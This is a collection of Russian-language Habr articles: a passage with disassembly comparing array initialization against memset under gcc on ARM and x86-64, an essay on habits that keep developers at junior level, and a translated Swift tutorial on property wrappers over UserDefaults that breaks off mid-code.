**gcc -O0, ELF 32-bit, ARM, EABI5**
```
83d8: e3a03000 mov r3, #0
83dc: e50b3024 str r3, [fp, #-36] ; 0x24
83e0: e24b3020 sub r3, fp, #32
83e4: e3a02000 mov r2, #0
83e8: e5832000 str r2, [r3]
83ec: e2833004 add r3, r3, #4
83f0: e3a02000 mov r2, #0
83f4: e5832000 str r2, [r3]
83f8: e2833004 add r3, r3, #4
83fc: e3a02000 mov r2, #0
8400: e5832000 str r2, [r3]
8404: e2833004 add r3, r3, #4
8408: e3a02000 mov r2, #0
840c: e5832000 str r2, [r3]
8410: e2833004 add r3, r3, #4
8414: e3a02000 mov r2, #0
8418: e5832000 str r2, [r3]
841c: e2833004 add r3, r3, #4
8420: e3a02000 mov r2, #0
8424: e5c32000 strb r2, [r3]
8428: e2833001 add r3, r3, #1
```
**gcc -O0, ELF 64-bit, x86-64**
```
400700: 48 c7 45 d0 00 00 00 00 movq $0x0,-0x30(%rbp)
400708: 48 c7 45 d8 00 00 00 00 movq $0x0,-0x28(%rbp)
400710: 48 c7 45 e0 00 00 00 00 movq $0x0,-0x20(%rbp)
400718: c6 45 e8 00 movb $0x0,-0x18(%rbp)
```
Как и ожидалось, без оптимизации мы получаем run-time код, который будет кушать O(n) процессорного времени (где n длина буфера). Что же сделает компилятор с оптимизацией (-O3) можем видеть ниже.
**gcc -O3, 32-bit, ARM**
```
000083ac :
83ac: e59f002c ldr r0, [pc, #44] ; 83e0
83b0: e92d4038 push {r3, r4, r5, lr}
83b4: e08f0000 add r0, pc, r0
83b8: ebffffb2 bl 8288
83bc: e59f5020 ldr r5, [pc, #32] ; 83e4
83c0: e3a04019 mov r4, #25
83c4: e08f5005 add r5, pc, r5
83c8: e1a00005 mov r0, r5
83cc: e3a01000 mov r1, #0
83d0: ebffffac bl 8288
83d4: e2544001 subs r4, r4, #1
83d8: 1afffffa bne 83c8
83dc: e8bd8038 pop {r3, r4, r5, pc}
```
**gcc -O3, 64-bit, x86-64**
```
00000000004006d0 :
4006d0: 53 push %rbx
4006d1: be a4 08 40 00 mov $0x4008a4,%esi
4006d6: bf 01 00 00 00 mov $0x1,%edi
4006db: 31 c0 xor %eax,%eax
4006dd: bb 32 00 00 00 mov $0x32,%ebx
4006e2: e8 d9 fd ff ff callq 4004c0 <\_\_printf\_chk@plt>
4006e7: 66 0f 1f 84 00 00 00 nopw 0x0(%rax,%rax,1)
4006ee: 00 00
4006f0: 31 d2 xor %edx,%edx
4006f2: 31 c0 xor %eax,%eax
4006f4: be aa 08 40 00 mov $0x4008aa,%esi
4006f9: bf 01 00 00 00 mov $0x1,%edi
4006fe: e8 bd fd ff ff callq 4004c0 <\_\_printf\_chk@plt>
400703: 83 eb 01 sub $0x1,%ebx
400706: 75 e8 jne 4006f0
400708: 5b pop %rbx
400709: c3 retq
```
Видим, что кусок кода с обнулением в run-time просто пропал, мы получили обещанную производительность O(1), давайте разберёмся откуда же свои значения берёт printf? Нас интересует вот этот кусочек:
```
83bc: ldr r5, [pc, #32]
83c0: mov r4, #25 ;// В r4 записываем количество циклов for, это наш счётчик цикла
83c4: add r5, pc, r5 ;// В r5 записываем текст "%x," как константу, в памяти она хранится как 002c7825
83c8: mov r0, r5 ;// r5 неизменно передаётся в r0 на каждой итерации цикла, это первый параметр printf()
83cc: mov r1, #0 ;// записываем константу 0 (вместо фактического p1[i]) как второй параметр printf()
83d0: bl 8288
83d4: subs r4, r4, #1 ;// Отнимаем единицу в счётчике цикла
83d8: bne 83c8 ;// Если не дошли до 0, то переходим на начало цикла 83c8
```
То есть компилятор просто выкинул массив, а вместо его значений использует 0, как заложенную на этапе компиляции константу. Хорошо, но что же происходит если мы будем использовать *memset*? Давайте посмотрим несколько кусочков objdump-а, например, под ARM:
*Без оптимизации -O0*:
```
83d8: e24b3024 sub r3, fp, #36 ; 0x24
83dc: e1a00003 mov r0, r3
83e0: e3a01000 mov r1, #0
83e4: e3a02019 mov r2, #25
83e8: ebffffa3 bl 827c
```
*С оптимизацией -O3*:
```
83c0: e58d3004 str r3, [sp, #4]
83c4: e58d3008 str r3, [sp, #8]
83c8: e58d300c str r3, [sp, #12]
83cc: e58d3010 str r3, [sp, #16]
83d0: e58d3014 str r3, [sp, #20]
83d4: e58d3018 str r3, [sp, #24]
83d8: e5cd301c strb r3, [sp, #28]
```
**x86-64**Без оптимизации -O0:
```
400816: ba 19 00 00 00 mov $0x19,%edx
40081b: be 00 00 00 00 mov $0x0,%esi
400820: 48 89 c7 mov %rax,%rdi
400823: e8 a8 fc ff ff callq 4004d0
```
С оптимизацией -O3:
```
4007f4: 48 c7 04 24 00 00 00 00 movq $0x0,(%rsp)
4007fc: 48 c7 44 24 08 00 00 00 movq $0x0,0x8(%rsp)
400805: 48 c7 44 24 10 00 00 00 movq $0x0,0x10(%rsp)
40080e: c6 44 24 18 00 movb $0x0,0x18(%rsp)
```
То есть оптимизация просто убирает вызов *memset*, вставляя его inline. При таких раскладах *memset* будет всегда работать за O(n) времени, а вот инициализация с помощью *= {0}* при оптимизации работает за константу, в нашем случае и вовсе не отнимая тактов процессора, нагло выбрасывая сам факт существования массива и подменяя все его элементы нулями. Но давайте посмотрим, всегда ли это так и что будет если мы запишем ненулевое значение после инициализации? Тестовая функция примет вот такой вид:
```
void empty_string(){
int i;
char p1[25] = {0};
p1[0] = 65;
printf("\np1: ");
for (i = 0; i < 25; i++)
printf("%x,",p1[i]);
}
```
После компиляции получаем уже знакомый блок кода:
```
8404: e3a02041 mov r2, #65 ; 0x41
8408: e08f0000 add r0, pc, r0
840c: e58d3004 str r3, [sp, #4]
8410: e58d3008 str r3, [sp, #8]
8414: e58d300c str r3, [sp, #12]
8418: e58d3010 str r3, [sp, #16]
841c: e58d3014 str r3, [sp, #20]
8420: e58d3018 str r3, [sp, #24]
8424: e5cd301c strb r3, [sp, #28]
8428: e5cd2004 strb r2, [sp, #4]
```
**x86-64**
```
4006f8: 48 c7 04 24 00 00 00 movq $0x0,(%rsp)
4006ff: 00
400700: 48 c7 44 24 08 00 00 movq $0x0,0x8(%rsp)
400707: 00 00
400709: 48 c7 44 24 10 00 00 movq $0x0,0x10(%rsp)
400710: 00 00
400712: c6 44 24 18 00 movb $0x0,0x18(%rsp)
400717: c6 04 24 41 movb $0x41,(%rsp)
```
И выглядит это так, как будто компилятор нам вставил оптимизированную версию *memset*. А давайте посмотрим что будет, если размер массива значительно вырастет? Скажем, не 25 байт, а 25 килобайт!
```
83fc: e24ddc61 sub sp, sp, #24832 ; 0x6100
8400: e24dd0a8 sub sp, sp, #168 ; 0xa8
8404: e3a01000 mov r1, #0
8408: e59f2054 ldr r2, [pc, #84] ; 8464
840c: e1a0000d mov r0, sp
8410: ebffff99 bl 827c
```
**x86-64**
```
400720: 55 push %rbp
400721: ba a8 61 00 00 mov $0x61a8,%edx
400726: 31 f6 xor %esi,%esi
400728: 53 push %rbx
400729: 48 81 ec b8 61 00 00 sub $0x61b8,%rsp
400730: 48 89 e7 mov %rsp,%rdi
400733: 48 8d ac 24 a8 61 00 lea 0x61a8(%rsp),%rbp
40073a: 00
40073b: 48 89 e3 mov %rsp,%rbx
40073e: 64 48 8b 04 25 28 00 mov %fs:0x28,%rax
400745: 00 00
400747: 48 89 84 24 a8 61 00 mov %rax,0x61a8(%rsp)
40074e: 00
40074f: 31 c0 xor %eax,%eax
400751: e8 8a fd ff ff callq 4004e0
400756: be 54 09 40 00 mov $0x400954,%esi
40075b: bf 01 00 00 00 mov $0x1,%edi
400760: 31 c0 xor %eax,%eax
400762: c6 04 24 41 movb $0x41,(%rsp)
400766: e8 a5 fd ff ff callq 400510 <\_\_printf\_chk@plt>
40076b: 0f 1f 44 00 00 nopl 0x0(%rax,%rax,1)
400770: 0f be 13 movsbl (%rbx),%edx
400773: 31 c0 xor %eax,%eax
400775: be 5a 09 40 00 mov $0x40095a,%esi
40077a: bf 01 00 00 00 mov $0x1,%edi
40077f: 48 83 c3 01 add $0x1,%rbx
400783: e8 88 fd ff ff callq 400510 <\_\_printf\_chk@plt>
400788: 48 39 eb cmp %rbp,%rbx
40078b: 75 e3 jne 400770
40078d: 48 8b 84 24 a8 61 00 mov 0x61a8(%rsp),%rax
400794: 00
400795: 64 48 33 04 25 28 00 xor %fs:0x28,%rax
40079c: 00 00
40079e: 75 0a jne 4007aa
4007a0: 48 81 c4 b8 61 00 00 add $0x61b8,%rsp
4007a7: 5b pop %rbx
4007a8: 5d pop %rbp
4007a9: c3 retq
```
Надо же!
**Строка = {0} переходит на сторону тьмы, memset ликует!**
Однако, не будем забываться, всё же проблему с параметрами мы решили, перепутать аргументы теперь не удастся.
### Инициализация строки
Также не будет лишним рассмотреть вариант инициализации массива *= ""*. В языке Си используются нуль-терминированные строки, то есть первый символ с байтовым значением 0x00 означает конец строки. Поэтому для инициализации строки нет смысла обнулять все элементы, достаточно лишь обнулить первый. Вот некоторые способы инициализировать пустую строку:
```
void doInitializeCString()
{
char p0[25] = {0} ; // установит все символы в 0
char p1[25] = "" ; // установит все символы в 0
char p2[25] ;
p2[0] = 0 ; // установит первый символ в 0
char p3[25] ;
memset(p3, 0, sizeof(p3)) ; // установит 25 символов в 0
char p4[25] ;
strcpy(p4, "") ; // установит первый символ в 0
char *p5 = (char *) calloc(25, sizeof(char)) ; // установит все символы в 0
}
```
Самый надёжный способ, как будет работать инициализация через *= ""* снова разобрать objdump. Без оптимизации ничего особенного мы не увидим, там всё аналогично *= {0}*, рассмотрим сразу с опцией -O3. Итак компилируем под ARM:
**вот такую функцию**
```
void empty_string(){
int i;
char p1[25] = "";
printf("\np1: ");
for (i = 0; i < 25; i++)
printf("%x,",p1[i]);
}
```
*И, внезапно, получаем обнуление всех элементов массива.*
```
83c0: e58d3004 str r3, [sp, #4]
83c4: e58d3008 str r3, [sp, #8]
83c8: e58d300c str r3, [sp, #12]
83cc: e58d3010 str r3, [sp, #16]
83d0: e58d3014 str r3, [sp, #20]
83d4: e58d3018 str r3, [sp, #24]
83d8: e5cd301c strb r3, [sp, #28]
```
**x86-64**
```
400768: 48 c7 04 24 00 00 00 00 movq $0x0,(%rsp)
400770: 48 c7 44 24 08 00 00 00 movq $0x0,0x8(%rsp)
400779: 48 c7 44 24 10 00 00 00 movq $0x0,0x10(%rsp)
400782: c6 44 24 18 00 movb $0x0,0x18(%rsp)
```
Та ну ладно! Зачем в нуль-терминированной строке обнулять все неиспользованные символы?! Достаточно же обнулить один единственный байт. Хм, а если там будет 25 тысяч байт, что оно сделает? А вот что:
```
8474: e24ddc61 sub sp, sp, #24832 ; 0x6100
8478: e24dd0a8 sub sp, sp, #168 ; 0xa8
847c: e3a0c000 mov ip, #0
8480: e28d3f6a add r3, sp, #424 ; 0x1a8
8484: e1a0100c mov r1, ip
8488: e59f204c ldr r2, [pc, #76] ; 84dc
848c: e28d0004 add r0, sp, #4
8490: e503c1a8 str ip, [r3, #-424] ; 0x1a8
8494: ebffff78 bl 827c
```
**x86-64**
```
00000000004007b0 :
4007b0: 55 push %rbp
4007b1: ba a0 61 00 00 mov $0x61a0,%edx
4007b6: 31 f6 xor %esi,%esi
4007b8: 53 push %rbx
4007b9: 48 81 ec b8 61 00 00 sub $0x61b8,%rsp
4007c0: 48 8d 7c 24 08 lea 0x8(%rsp),%rdi
4007c5: 48 8d ac 24 a8 61 00 lea 0x61a8(%rsp),%rbp
4007cc: 00
4007cd: 48 c7 04 24 00 00 00 movq $0x0,(%rsp)
4007d4: 00
4007d5: 64 48 8b 04 25 28 00 mov %fs:0x28,%rax
4007dc: 00 00
4007de: 48 89 84 24 a8 61 00 mov %rax,0x61a8(%rsp)
4007e5: 00
4007e6: 31 c0 xor %eax,%eax
4007e8: 48 89 e3 mov %rsp,%rbx
4007eb: e8 f0 fc ff ff callq 4004e0
4007f0: be 54 09 40 00 mov $0x400954,%esi
4007f5: bf 01 00 00 00 mov $0x1,%edi
4007fa: 31 c0 xor %eax,%eax
4007fc: e8 0f fd ff ff callq 400510 <\_\_printf\_chk@plt>
400801: 0f 1f 80 00 00 00 00 nopl 0x0(%rax)
400808: 0f be 13 movsbl (%rbx),%edx
40080b: 31 c0 xor %eax,%eax
40080d: be 5a 09 40 00 mov $0x40095a,%esi
400812: bf 01 00 00 00 mov $0x1,%edi
400817: 48 83 c3 01 add $0x1,%rbx
40081b: e8 f0 fc ff ff callq 400510 <\_\_printf\_chk@plt>
400820: 48 39 eb cmp %rbp,%rbx
400823: 75 e3 jne 400808
400825: 48 8b 84 24 a8 61 00 mov 0x61a8(%rsp),%rax
40082c: 00
40082d: 64 48 33 04 25 28 00 xor %fs:0x28,%rax
400834: 00 00
400836: 75 0a jne 400842
400838: 48 81 c4 b8 61 00 00 add $0x61b8,%rsp
40083f: 5b pop %rbx
400840: 5d pop %rbp
400841: c3 retq
```
Похоже, тёмный memset преследует нас. Если вы всё ещё хотите сражаться против тьмы, то стоит упомянуть какие ещё ловушки вас поджидают.
### memset может инициализировать числа неправильными значениями
Если вы хотите заполнить массив целых чисел ненулевыми значениями, ознакомьтесь с побайтовым заполнением данных.
```
void doInitializeToMistakenValues()
{
char pChar[25] ;
unsigned char pUChar[25] ;
short pShort[25] ;
unsigned short pUShort[25] ;
int pInt[25] ;
unsigned int pUInt[25] ;
// Значения 2-байтовых и 4-байтовых элементов будут отличны от единицы
memset(pChar, 1, sizeof(pChar)) ; // 1
memset(pUChar, 1, sizeof(pUChar)) ; // 1
memset(pShort, 1, sizeof(pShort)) ; // 257
memset(pUShort, 1, sizeof(pUShort)) ; // 257
memset(pInt, 1, sizeof(pInt)) ; // 16843009
memset(pUInt, 1, sizeof(pUInt)) ; // 16843009
// Значения unsigned массивов заполнится байтами 0xFF
memset(pChar, -1, sizeof(pChar)) ; // -1
memset(pUChar, -1, sizeof(pUChar)) ; // 255
memset(pShort, -1, sizeof(pShort)) ; // -1
memset(pUShort, -1, sizeof(pUShort)) ; // 65535
memset(pInt, -1, sizeof(pInt)) ; // -1
memset(pUInt, -1, sizeof(pUInt)) ; // 4294967295
}
```
Рассмотрим как это получается. Вот имеем скажем массив int, передаём вторым параметром единицу, что происходит?
А вот что:
0x01010101 — в шестнадцатеричной записи каждый байт будет заполнен единицей, а правильное значение
0x00000001 будет невозможно задать функцией memset. Но на самом деле это не баг, это фича.
Вот только незнание этих фич приводит к непредсказуемым ошибкам.
### memset может установить невалидное значение
Если в элементы double установить байты -1, мы получим значение Not-A-Number (NaN), а в последствии последующих вычислений, каждая операция со значением NaN будет возращать NaN, таким образом нарушая всю цепочку вычислений.
Таким же образом устанавливать -1 в тип bool некорректно и он формально не будет ни true, ни false. Хотя в большинстве случаев он будет вести себя как true. В большинстве случаев…
И последнее, memset предназначен только для работы с [простыми структурами данных](https://ru.wikipedia.org/wiki/%D0%9F%D1%80%D0%BE%D1%81%D1%82%D0%B0%D1%8F_%D1%81%D1%82%D1%80%D1%83%D0%BA%D1%82%D1%83%D1%80%D0%B0_%D0%B4%D0%B0%D0%BD%D0%BD%D1%8B%D1%85). Никогда не используйте memset с управляемыми структурами данных, эта функция предназначена только для низкоуровневых операций.
*В статье использованы материалы [memset is evil](https://augias.org/paercebal/tech_doc/doc.en/cp.memset_is_evil.html).
Также читайте про уязвимости функции [printf](http://www.viva64.com/ru/b/0129/)*. | https://habr.com/ru/post/272269/ | null | ru | null |
# 15 причин, почему ты всё ещё джун
В каждой приличной IT-компании уделяется достаточно много внимания развитию сотрудников. Проводятся разного рода митапы, тренинги и хакатоны для прокачки хард-скиллов, встречи на тему развития софт-скиллов (на которых сотрудникам объясняют почему панибратство и общение строго матерными выражениями - очень плохая идея), и прочие увеселительные мероприятия. Но мое внимание обратила на себя тема, которая находится на стыке этих двух навыков - хард и софт. С некоторой регулярностью мне приходится видеть перспективных ребят, которые явно засиделись в джунах. Это удручает и разочаровывает - ведь я знаком со многими из них, и отлично знаю, что у них есть все необходимое для быстрого роста. И часто причина не в чем-то одном, а в сочетании некоторых, возможно неочевидных, недостатков. Я постарался собрать здесь весь список подобных минусов, которые приходится наблюдать довольно регулярно.
Итак, что обычно мешает условному джуну подтянуться до условного мидла:
* **Нет обработки ошибок**
Классика - не изучаешь тему обработки ошибок в целом и способ это делать в данном конкретном проекте. Автоматически записан в джуны.
*Касаемо конкретно языка* `Dart` *- абьюз* `bang`*-оператора. Этот оператор доступен к использованию только когда* `null` *не прилетит гарантированно. Другой случай непроверки на* `null` *- выдавать сообщение об ошибке в* `toString()`*. Прилетит* `null` *- покажешь пользователю сообщение “null”. За такое желательно сразу расстреливать, но, так как в большинстве стран мира смертная казнь не применяется, приходится ограничиваться подобной статьей.*
Вообще, во внимании джуна код всегда имеет более высокий приоритет, чем то, что видит пользователь. У мидла наоборот - приоритет у UI. Потому что заказчик видит только UI и оценивает приложение в первую очередь по пользовательскому опыту.
* **Пассивное отношение к взаимодействию с бэком**
Прилетает ошибка с кодом 200 - не просишь поправить. Как маленький, ей-Богу. Поле с сообщением об ошибке возвращается в рандомных объектах с рандомным названием этого поля - пилишь у себя поиск таких сообщений во всех возможных случаях, вместо того чтобы призвать бэк к порядку. В следующий раз сообщение прилетает в очередном неожиданном месте - снова ломается. Я утрирую, но мысль понятна. Прилетают одни и те же данные разрозненном виде - не просишь бэк привести их одному и тому же виду. Например, принимать и возвращать один тот же объект. В будущем это приводит к проблемам, которые нарастают, как снежный ком.
* **Отсутствие тестирования собственного кода**
Вместо проверки работоспособности кода в разных условиях, ты приносишь жертвы темным силам в надежде, что всё работает как надо. Или того хуже - не думаешь о том, что нужно тестировать что ты там понаписал. Не перекладывай свою работу на тестировщика - его задача искать крайние кейсы и замечать то, что пропустил ты. Он работает вместе с тобой, а не вместо тебя.
* **Злоупотребление Google**
Гуглишь и вставляешь найденный код, иногда не разбираясь, как он работает. Так называемый «Google-программист» на парт-тайме. Ты не учишься.
* **Недостаточная вера в себя**
Когда сталкиваешься с более или менее сложной задачей, сразу сдаешься с формулировкой «есть люди поопытнее, надо спросить». По моим наблюдениям, больше половины вопросов джунов связаны с простой логикой, и не требуют никакого опыта. То есть он бы и сам справился, если бы верил в себя. Подход должен быть - «если не я, то кто?». Разбираешься с задачей самостоятельно, пока не заходишь в полный тупик. Тогда идешь спрашивать у опытных коллег, да и то только чтобы время сэкономить. "Разобрался бы и сам, да только времезатраты не адекватны задаче".
* **Пассивное отношение к макету**
В макете указано поле ввода, хотя очевидно, что должен быть выпадающий список - ты не обращаешь на это внимание дизайнера и/или ПМа. «Там уже все решили». Этот пункт перекликается с предыдущим.У программиста всего два инструмента для решения задачи - логика и опыт ~~и Google~~. Отсутствие опыта — это не повод выбрасывать в окно еще и здравый смысл. В макете не указана кнопка повтора последнего действия при ошибке (там, где это уместно) - ты молча выводишь только сообщение об ошибке. Если не забудешь. В дизайне не указан способ обновления данных на экране - ты так и делаешь, хотя очевидно что тут нужно обновление свайпом, к примеру. И такая задача неизбежно прилетает из QA, либо от заказчика. Ты мог сделать сразу логично - но дождался пока укажут пальцем. В дизайне не указана индикация загрузки при пагинации - ты так и делаешь. А ведь достаточно посмотреть взглядом пользователя — прокрутил список до конца, ничего не происходит. Потом внезапно в конце появляются новые элементы. Отсюда вытекает следующий пункт.
* **Удивляешь пользователя**
Удивлять нужно девушку на 8 марта. А приложение должно обладать предсказуемым поведением, настолько, насколько это возможно. Это касается всего приложения в целом и отдельных элементов в частности. Никто не будет вести тебя за ручку и указывать на каждую мелочь. Это будет делать заказчик. После чего тебя отшлепают. Из чего станет очевидно, что на тебя нельзя положиться.
* **Общий настрой - «моя хата с краю»**
Текущая задача тебя интересует только с точки зрения взаимодействия с ПМом и/или тимлидом, в отрыве от всего проекта - формально сделал, остальное меня не касается. Отсюда вытекают такие странности, как например отображение информации для пользователя с помощью всплывающего сообщения снизу на одном экране, и сверху - на другом. Ты не смотрел как там у других. “Зачем, мне и так хорошо, а то того и гляди придется поучиться чему то новому”. Ты должен смотреть на задачу как часть проекта в целом. Насколько твоя работа соответствует логике всего приложения?
* **Отношение к любой текущей задаче, как к копанию огорода**
Просто объем земли, который нужно перелопатить. Копаешь от забора и до обеда. Любая задача это мини-проект, у которого есть начало и конец. К реализации нужно подходить творчески - сначала обдумать, как это сделать эффективнее, чем делалось раньше. Как сократить себе время на похожую задачу в будущем. Как это уже сделано твоим коллегой и почему именно так. Не бояться экспериментировать. Каждая задача - это материал для прокачки своих скиллов.
* **Отсутствие стремления писать читаемый код**
Читаемый всеми, а не только тобой. Привык вариться в своем соку - у тебя свои приколы и привычки в коде, понятные только себе. Также ты не смотришь как написаны другие модули приложения, а пилишь очередную вариацию.
* **Пассивная позиция в компании**
Ты не активный член коллектива, стремишься не высовываться, чтобы не дали каких нибудь задач. Никогда не вызываешься добровольцем. Если нет текущих задач, то молча занимаешься своими делами. Ведь молоток всегда бьет по тому гвоздю, что торчит выше других.
* **Гиперактивная позиция в компании**
Противоположная крайность - ты неугомонный член коллектива, берешься за тучу задач в куче проектов. Отсюда вечная спешка. Нет времени вникать, разбираться, исправлять. Гонишься за объемом в ущерб качеству.
* **Не придаешь значения «мелочам»**
У тебя вечно куча опечаток. Куча подсказок от анализатора, которые ты игнорируешь. Ну не ошибки же. А предупреждения - это для слабых духом. Твоя консоль замусорена бесполезными сообщениями на всякий случай.
* **Не делишься опытом с другими**
Избегаешь роли лидера - например, работы со стажерами, где нужно подсказывать менее опытным коллегам. Мидл часто является тимлидом, навык лидерства жизненно необходим. Это не значит, что ты, будучи интровертом, должен выступать перед стадионом и рвать рубаху на груди. Достаточно базовых навыков распределения задач и работы с людьми.
* **Ты не понимаешь, что твоя работа - не только писать код**
Твоя работа - учиться. Учиться каждый день и при любой возможности. Это твой стандартный подход к решению задач. Отныне и до самой пенсии.
Надеюсь, эта информация поможет вам быстрее продвигаться на пути разработчика. Happy coding. | https://habr.com/ru/post/706122/ | null | ru | null |
# Обертки свойств в Swift с примерами кода
> Перевод статьи подготовлен в рамках онлайн-курса [**"iOS Developer. Professional"**](https://otus.pw/DCPU/). Если вам интересно узнать подробнее о курсе, приходите на [**День открытых дверей**](https://otus.pw/YlpC/) онлайн.
>
>
---
Property Wrappers (Обертки Свойств) в Swift позволяют извлекать общую логику в отдельный объект-обертку. С момента представления во время WWDC 2019 и появления в Xcode 11 со Swift 5 было много примеров, которыми поделились в сообществе. Это изящное дополнение к библиотеке Swift, позволяющее удалить много шаблонного кода, который, вероятно, все мы писали в своих проектах.
Историю об обертках свойств можно найти на форумах Swift для [SE-0258](https://github.com/DougGregor/swift-evolution/blob/property-wrappers/proposals/0258-property-wrappers.md). В то время как целесообразность их использования в основном говорит о том, что обертки свойств являются решением для `@NSCopying` свойств, есть общая закономерность, которая реализовывается ими, и вы, вероятно, скоро все узнаете.
### Что такое обертка свойства?
Обертку свойства можно рассматривать как дополнительный уровень, определяющий, как хранится или вычисляется свойство при чтении. Это особенно полезно для замены повторяющегося кода в геттерах и сеттерах свойств.
Типичным примером являются настраиваемые пользователем свойства по умолчанию, в которых пользовательские геттеры и сеттеры используются для соответствующего преобразования значения. Пример реализации может выглядеть следующим образом:
```
extension UserDefaults {
@UserDefault(key: "has_seen_app_introduction", defaultValue: false)
static var hasSeenAppIntroduction: Bool
}
```
Оператор `@UserDefault` выполняет вызов обертки свойства. Как видите, мы можем задать ему несколько параметров, которые используются для настройки обертки свойства. Существует несколько способов взаимодействия с оберткой свойства, например, использование обернутого и прогнозируемого значения. Вы также можете настроить обертку с внедренными свойствами, о которых мы поговорим позже. Давайте сначала рассмотрим пример обертки свойства User Defaults.
### Обертки свойств и UserDefaults
В следующем коде показан шаблон, который легко узнать. Он создает обертку вокруг объекта `UserDefaults`, чтобы сделать свойства доступными без необходимости вставлять строковые ключи повсюду в вашем проекте.
```
extension UserDefaults {
public enum Keys {
static let hasSeenAppIntroduction = "has_seen_app_introduction"
}
/// Indicates whether or not the user has seen the onboarding.
var hasSeenAppIntroduction: Bool {
set {
set(newValue, forKey: Keys.hasSeenAppIntroduction)
}
get {
return bool(forKey: Keys.hasSeenAppIntroduction)
}
}
}
```
Он позволяет устанавливать и получать значения из пользовательских настроек по умолчанию из любого места следующим образом:
```
UserDefaults.standard.hasSeenAppIntroduction = true
guard !UserDefaults.standard.hasSeenAppIntroduction else { return }
showAppIntroduction()
```
Это кажется отличным решением, но оно легко может превратиться в большой файл с множеством установленных ключей и свойств. Код повторяется и поэтому напрашивается способ сделать это проще. Пользовательская обертка свойств с использованием ключевого слова `@propertyWrapper` может помочь нам решить эту проблему.
### Использование оберток свойств для удаления шаблонного кода
Взяв вышеприведенный пример, мы можем переписать код и убрать много лишнего. Для этого нам нужно создать новое свойство-обертку, которое мы назовем UserDefault. В конечном итоге это позволит нам определить его как свойство пользователя по умолчанию .
> *Если вы используете SwiftUI, возможно, вам лучше использовать обертку свойства* [*AppStorage*](https://developer.apple.com/documentation/swiftui/appstorage)*. Рассмотрим это просто как пример замены повторяющегося кода.*
>
>
```
@propertyWrapper
struct UserDefault {
let key: String
let defaultValue: Value
var container: UserDefaults = .standard
var wrappedValue: Value {
get {
return container.object(forKey: key) as? Value ?? defaultValue
}
set {
container.set(newValue, forKey: key)
}
}
}
```
Обертка позволяет передать значение по умолчанию, если еще нет зарегистрированного значения. Мы можем передать любое значение, поскольку обертка определяется общим значением Value.
Теперь мы можем изменить нашу предыдущую имплементацию кода и создать следующее расширение для типа `UserDefaults`:
```
extension UserDefaults {
@UserDefault(key: "has_seen_app_introduction", defaultValue: false)
static var hasSeenAppIntroduction: Bool
}
```
Как видите, мы можем использовать сгенерированный по умолчанию инициализатор struct из обертки определяемого свойства. Мы передаем тот же ключ, что и раньше, и устанавливаем значение по умолчанию false. Использовать это новое свойство очень просто:
```
UserDefaults.hasSeenAppIntroduction = false
print(UserDefaults.hasSeenAppIntroduction) // Prints: false
UserDefaults.hasSeenAppIntroduction = true
print(UserDefaults.hasSeenAppIntroduction) // Prints: true
```
В некоторых случаях вы захотите определить собственные пользовательские значения по умолчанию. Например, в случаях, когда у вас есть группа приложений, определяющая пользовательские значения по умолчанию. Наша установленная обертка по умолчанию использует стандартные пользовательские параметры по умолчанию, но вы можете переопределить их, чтобы использовать свой собственный контейнер:
```
extension UserDefaults {
static let groupUserDefaults = UserDefaults(suiteName: "group.com.swiftlee.app")!
@UserDefault(key: "has_seen_app_introduction", defaultValue: false, container: .groupUserDefaults)
static var hasSeenAppIntroduction: Bool
}
```
### Добавление дополнительных свойств с помощью одной обертки
В отличие от старого решения, при использовании обертки очень легко добавлять дополнительные свойства. Мы можем просто повторно использовать определенную обертку и инстанцировать столько свойств, сколько нам нужно.
```
extension UserDefaults {
@UserDefault(key: "has_seen_app_introduction", defaultValue: false)
static var hasSeenAppIntroduction: Bool
@UserDefault(key: "username", defaultValue: "Antoine van der Lee")
static var username: String
@UserDefault(key: "year_of_birth", defaultValue: 1990)
static var yearOfBirth: Int
}
```
Как вы можете видеть, обертка работает с любым типом, который вы определите, если этот тип поддерживается для сохранения в пользовательских настройках по умолчанию.
### Хранение опционалов с помощью обертки свойств пользователя по умолчанию
Распространенная проблема, с которой можно столкнуться при использовании оберток свойств, заключается в том, что общее значение позволяет определить либо все опции, либо все значения без обертки. В сообществе существует распространенная техника решения этой проблемы, которая использует пользовательский протокол `AnyOptional`:
```
/// Allows to match for optionals with generics that are defined as non-optional.
public protocol AnyOptional {
/// Returns `true` if `nil`, otherwise `false`.
var isNil: Bool { get }
}
extension Optional: AnyOptional {
public var isNil: Bool { self == nil }
}
```
Мы можем расширить нашу обертку свойств `UserDefault`, чтобы она соответствовала этому протоколу:
```
extension UserDefault where Value: ExpressibleByNilLiteral {
/// Creates a new User Defaults property wrapper for the given key.
/// - Parameters:
/// - key: The key to use with the user defaults store.
init(key: String, _ container: UserDefaults = .standard) {
self.init(key: key, defaultValue: nil, container: container)
}
}
```
Это расширение создает дополнительный инициализатор, который устраняет требование определения значения по умолчанию и позволяет работать с опциями.
Наконец, нам нужно настроить наш установщик значений обертки, чтобы позволить удалять объекты из пользовательских значений по умолчанию:
```
@propertyWrapper
struct UserDefault {
let key: String
let defaultValue: Value
var container: UserDefaults = .standard
var wrappedValue: Value {
get {
return container.object(forKey: key) as? Value ?? defaultValue
}
set {
// Check whether we're dealing with an optional and remove the object if the new value is nil.
if let optional = newValue as? AnyOptional, optional.isNil {
container.removeObject(forKey: key)
} else {
container.set(newValue, forKey: key)
}
}
}
var projectedValue: Bool {
return true
}
}
```
Теперь это позволяет нам определять опционалы и принимать значения равными нулю:
```
extension UserDefaults {
@UserDefault(key: "year_of_birth")
static var yearOfBirth: Int?
}
UserDefaults.yearOfBirth = 1990
print(UserDefaults.yearOfBirth) // Prints: 1990
UserDefaults.yearOfBirth = nil
print(UserDefaults.yearOfBirth) // Prints: nil
```
Отлично! Теперь мы можем справиться со всеми сценариями с помощью обертки пользовательских настроек по умолчанию. Последнее, что нужно добавить, это прогнозируемое значение, которое будет преобразовано в Combine publisher, как и в обертке свойства `@Published`.
### Прогнозирование значения из обертки свойства
Обертки свойств имеют возможность добавить еще одно свойство, помимо обернутого значения, которое называется прогнозируемым значением. В этом случае мы можем спрогнозировать другое значение на основе обернутого значения. Типичным примером является использование `publisher Combine`, чтобы мы могли наблюдать за изменениями, когда они происходят.
Чтобы сделать это с помощью обертки свойства `user defaults`, мы должны добавить `publisher`, который будет субъектом сквозной передачи. Все дело в названии: он будет просто передавать изменения значений. Реализация выглядит следующим образом:
```
import Combine
@propertyWrapper
struct UserDefault {
let key: String
let defaultValue: Value
var container: UserDefaults = .standard
private let publisher = PassthroughSubject()
var wrappedValue: Value {
get {
return container.object(forKey: key) as? Value ?? defaultValue
}
set {
// Check whether we're dealing with an optional and remove the object if the new value is nil.
